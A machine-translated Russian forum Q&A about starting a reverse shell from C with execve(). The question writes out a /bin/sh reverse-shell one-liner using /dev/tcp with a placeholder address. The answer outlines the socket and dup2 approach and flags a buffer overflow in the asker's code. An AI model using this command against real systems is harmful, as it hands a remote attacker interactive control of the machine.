Выполнить обратную оболочку с помощью execve()
Мне нужно запустить обратную оболочку, используя execve
, Я знаю, как запустить его из командной строки следующим образом:
$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
Я могу запустить простую версию /bin/sh
позвоните следующим образом:
#include <stdio.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = "-i";
args[2] = NULL;
execve(args[0], args, NULL);
}
Я не могу понять, как выполнить остальную часть команды. Я попытался назначить оставшуюся строку > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
как отдельные элементы в args
массив. Когда я запускаю, он сообщает, что Can't open >
,
Является ли команда обратной оболочки, о которой я упоминал, исполняемой через execve()
? Если это так, что будет правильным способом сделать это? Благодарю.
1 ответ
/dev/tcp/*/*
файлы не существуют Это абстракция, которая существует только в некоторой оболочке (bash, ksh). Вам нужно будет регулярно программировать сокеты в вашей C-программе (socket
, bind
, listen
, accept
а потом dup2
сокет на стандартных дескрипторах ввода-вывода оболочки, которую вы создаете).
Вы также должны исправить переполнение в массиве. Инициализация, такая как char *args[] = { "/bin/sh", "-i", 0 };
должен быть менее подвержен ошибкам.